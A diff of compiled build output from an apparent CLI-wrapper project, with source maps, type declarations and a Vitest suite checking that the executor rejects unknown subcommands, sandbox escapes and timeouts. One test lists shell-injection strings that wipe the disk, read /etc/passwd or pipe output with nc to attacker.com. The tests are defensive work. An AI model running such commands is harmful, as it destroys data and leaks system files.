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"}
@@ -0,0 +1,11 @@
1
+ /**
2
+ * Executor Tests
3
+ *
4
+ * Ensures CLI execution is:
5
+ * - Windows-safe (no shell=true)
6
+ * - Secure (validates subcommands)
7
+ * - Reliable (handles timeouts)
8
+ * - Correct (parses JSON output)
9
+ */
10
+ export {};
11
+ //# sourceMappingURL=executor.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"executor.test.d.ts","sourceRoot":"","sources":["../../__tests__/executor.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG"}
@@ -0,0 +1,198 @@
1
+ /**
2
+ * Executor Tests
3
+ *
4
+ * Ensures CLI execution is:
5
+ * - Windows-safe (no shell=true)
6
+ * - Secure (validates subcommands)
7
+ * - Reliable (handles timeouts)
8
+ * - Correct (parses JSON output)
9
+ */
10
+ import { describe, it, expect, beforeAll, afterAll } from 'vitest';
11
+ import { mkdirSync, writeFileSync, rmSync, existsSync } from 'fs';
12
+ import { join } from 'path';
13
+ import { tmpdir } from 'os';
14
+ import { executeCli, executeCliSync, cancelExecution, getActiveExecutionCount, getConcurrencyStats, ToolExecutors, } from '../lib/executor.js';
15
+ import { ErrorCode } from '../lib/errors.js';
16
+ describe('CLI Executor', () => {
17
+ let testDir;
18
+ let projectPath;
19
+ beforeAll(() => {
20
+ testDir = join(tmpdir(), `vibecheck-executor-test-${Date.now()}`);
21
+ projectPath = join(testDir, 'test-project');
22
+ mkdirSync(projectPath, { recursive: true });
23
+ writeFileSync(join(projectPath, 'package.json'), JSON.stringify({
24
+ name: 'test-project',
25
+ version: '1.0.0',
26
+ }));
27
+ });
28
+ afterAll(() => {
29
+ if (existsSync(testDir)) {
30
+ rmSync(testDir, { recursive: true, force: true });
31
+ }
32
+ });
33
+ describe('Subcommand Validation', () => {
34
+ it('should reject unknown subcommands', async () => {
35
+ const result = await executeCli('malicious_command', [], {
36
+ projectPath,
37
+ timeout: 5000,
38
+ });
39
+ expect(result.ok).toBe(false);
40
+ expect(result.error?.code).toBe(ErrorCode.INVALID_INPUT);
41
+ expect(result.error?.message).toMatch(/unknown/i);
42
+ });
43
+ it('should reject shell injection attempts', async () => {
44
+ // Try to inject shell commands
45
+ const injectionAttempts = [
46
+ 'doctor; rm -rf /',
47
+ 'doctor && cat /etc/passwd',
48
+ 'doctor | nc attacker.com 1234',
49
+ 'doctor`whoami`',
50
+ ];
51
+ for (const attempt of injectionAttempts) {
52
+ const result = await executeCli(attempt, [], {
53
+ projectPath,
54
+ timeout: 5000,
55
+ });
56
+ expect(result.ok).toBe(false);
57
+ expect(result.error?.code).toBe(ErrorCode.INVALID_INPUT);
58
+ }
59
+ });
60
+ it('should allow valid subcommands', async () => {
61
+ const validCommands = ['doctor', 'scan', 'ship', 'status', 'ctx'];
62
+ for (const cmd of validCommands) {
63
+ // Note: These will fail with CLI_ERROR or DEPENDENCY_MISSING if CLI not installed
64
+ // but should NOT fail with INVALID_INPUT
65
+ const result = await executeCli(cmd, [], {
66
+ projectPath,
67
+ timeout: 5000,
68
+ });
69
+ if (!result.ok) {
70
+ expect(result.error?.code).not.toBe(ErrorCode.INVALID_INPUT);
71
+ }
72
+ }
73
+ });
74
+ });
75
+ describe('Path Validation', () => {
76
+ it('should reject paths outside sandbox', async () => {
77
+ const result = await executeCli('doctor', [], {
78
+ projectPath: '/etc',
79
+ timeout: 5000,
80
+ });
81
+ expect(result.ok).toBe(false);
82
+ expect(result.error?.code).toBe(ErrorCode.PATH_OUTSIDE_SANDBOX);
83
+ });
84
+ it('should reject path traversal attempts', async () => {
85
+ const result = await executeCli('doctor', [], {
86
+ projectPath: join(projectPath, '..', '..', '..', 'etc'),
87
+ timeout: 5000,
88
+ });
89
+ expect(result.ok).toBe(false);
90
+ expect(result.error?.code).toBe(ErrorCode.PATH_OUTSIDE_SANDBOX);
91
+ });
92
+ });
93
+ describe('Timeout Handling', () => {
94
+ it('should return TIMEOUT error when command exceeds timeout', async () => {
95
+ // Use a very short timeout to force timeout
96
+ const result = await executeCli('doctor', [], {
97
+ projectPath,
98
+ timeout: 1, // 1ms - will definitely timeout
99
+ });
100
+ // Should either timeout or complete very fast
101
+ // If CLI is not installed, we might get DEPENDENCY_MISSING first
102
+ if (result.error?.code === ErrorCode.TIMEOUT) {
103
+ expect(result.ok).toBe(false);
104
+ expect(result.error.code).toBe(ErrorCode.TIMEOUT);
105
+ }
106
+ }, 10000);
107
+ });
108
+ describe('Cancellation', () => {
109
+ it('should track active executions', async () => {
110
+ const initialCount = getActiveExecutionCount();
111
+ expect(typeof initialCount).toBe('number');
112
+ });
113
+ it('should return false when cancelling non-existent request', () => {
114
+ const result = cancelExecution('non-existent-request-id');
115
+ expect(result).toBe(false);
116
+ });
117
+ });
118
+ describe('Concurrency Stats', () => {
119
+ it('should return concurrency stats', () => {
120
+ const stats = getConcurrencyStats();
121
+ expect(stats).toHaveProperty('global');
122
+ expect(stats).toHaveProperty('maxGlobal');
123
+ expect(stats).toHaveProperty('workspaces');
124
+ expect(stats).toHaveProperty('maxPerWorkspace');
125
+ expect(stats.maxGlobal).toBe(6);
126
+ expect(stats.maxPerWorkspace).toBe(2);
127
+ });
128
+ });
129
+ describe('Sync Execution', () => {
130
+ it('should reject unknown subcommands in sync mode', () => {
131
+ const result = executeCliSync('malicious_cmd', [], {
132
+ projectPath,
133
+ timeout: 5000,
134
+ });
135
+ expect(result.ok).toBe(false);
136
+ expect(result.error?.code).toBe(ErrorCode.INVALID_INPUT);
137
+ });
138
+ it('should reject paths outside sandbox in sync mode', () => {
139
+ const result = executeCliSync('doctor', [], {
140
+ projectPath: '/etc',
141
+ timeout: 5000,
142
+ });
143
+ expect(result.ok).toBe(false);
144
+ expect(result.error?.code).toBe(ErrorCode.PATH_OUTSIDE_SANDBOX);
145
+ });
146
+ });
147
+ describe('Tool Executors', () => {
148
+ it('should have executors for all core tools', () => {
149
+ expect(ToolExecutors.doctor).toBeDefined();
150
+ expect(ToolExecutors.scan).toBeDefined();
151
+ expect(ToolExecutors.ship).toBeDefined();
152
+ expect(ToolExecutors.prove).toBeDefined();
153
+ expect(ToolExecutors.reality).toBeDefined();
154
+ expect(ToolExecutors.fix).toBeDefined();
155
+ expect(ToolExecutors.guard).toBeDefined();
156
+ expect(ToolExecutors.ctx).toBeDefined();
157
+ expect(ToolExecutors.report).toBeDefined();
158
+ expect(ToolExecutors.polish).toBeDefined();
159
+ expect(ToolExecutors.status).toBeDefined();
160
+ expect(ToolExecutors.share).toBeDefined();
161
+ expect(ToolExecutors.badge).toBeDefined();
162
+ expect(ToolExecutors.init).toBeDefined();
163
+ });
164
+ });
165
+ });
166
+ describe('Result Structure', () => {
167
+ let testDir;
168
+ let projectPath;
169
+ beforeAll(() => {
170
+ testDir = join(tmpdir(), `vibecheck-result-test-${Date.now()}`);
171
+ projectPath = join(testDir, 'test-project');
172
+ mkdirSync(projectPath, { recursive: true });
173
+ });
174
+ afterAll(() => {
175
+ if (existsSync(testDir)) {
176
+ rmSync(testDir, { recursive: true, force: true });
177
+ }
178
+ });
179
+ it('should always include durationMs in result', async () => {
180
+ const result = await executeCli('status', [], {
181
+ projectPath,
182
+ timeout: 5000,
183
+ });
184
+ expect(typeof result.durationMs).toBe('number');
185
+ expect(result.durationMs).toBeGreaterThanOrEqual(0);
186
+ });
187
+ it('should include error structure on failure', async () => {
188
+ const result = await executeCli('bad_cmd', [], {
189
+ projectPath,
190
+ timeout: 5000,
191
+ });
192
+ expect(result.ok).toBe(false);
193
+ expect(result.error).toBeDefined();
194
+ expect(result.error?.code).toBeDefined();
195
+ expect(result.error?.message).toBeDefined();
196
+ });
197
+ });
198
+ //# sourceMappingURL=executor.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"executor.test.js","sourceRoot":"","sources":["../../__tests__/executor.test.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,5 @@
1
+ export declare const app: {
2
+ name: string;
3
+ version: string;
4
+ };
5
+ //# sourceMappingURL=app.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"app.d.ts","sourceRoot":"","sources":["../../../../../__tests__/fixtures/exclusion-test/src/app.ts"],"names":[],"mappings":"AACA,eAAO,MAAM,GAAG;;;CAGf,CAAC"}
@@ -0,0 +1,9 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.app = void 0;
4
+ // Clean source file - should be scanned
5
+ exports.app = {
6
+ name: 'test-app',
7
+ version: '1.0.0',
8
+ };
9
+ //# sourceMappingURL=app.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"app.js","sourceRoot":"","sources":["../../../../../__tests__/fixtures/exclusion-test/src/app.ts"],"names":[],"mappings":";;;AAAA,wCAAwC;AAC3B,QAAA,GAAG,GAAG;IACjB,IAAI,EAAE,UAAU;IAChB,OAAO,EAAE,OAAO;CACjB,CAAC"}
@@ -0,0 +1,10 @@
1
+ /**
2
+ * Deterministic ID Generation Tests
3
+ *
4
+ * Ensures IDs are:
5
+ * - Deterministic (same inputs = same outputs)
6
+ * - Stable (consistent across runs)
7
+ * - Unique (different inputs = different outputs)
8
+ */
9
+ export {};
10
+ //# sourceMappingURL=ids.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ids.test.d.ts","sourceRoot":"","sources":["../../__tests__/ids.test.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG"}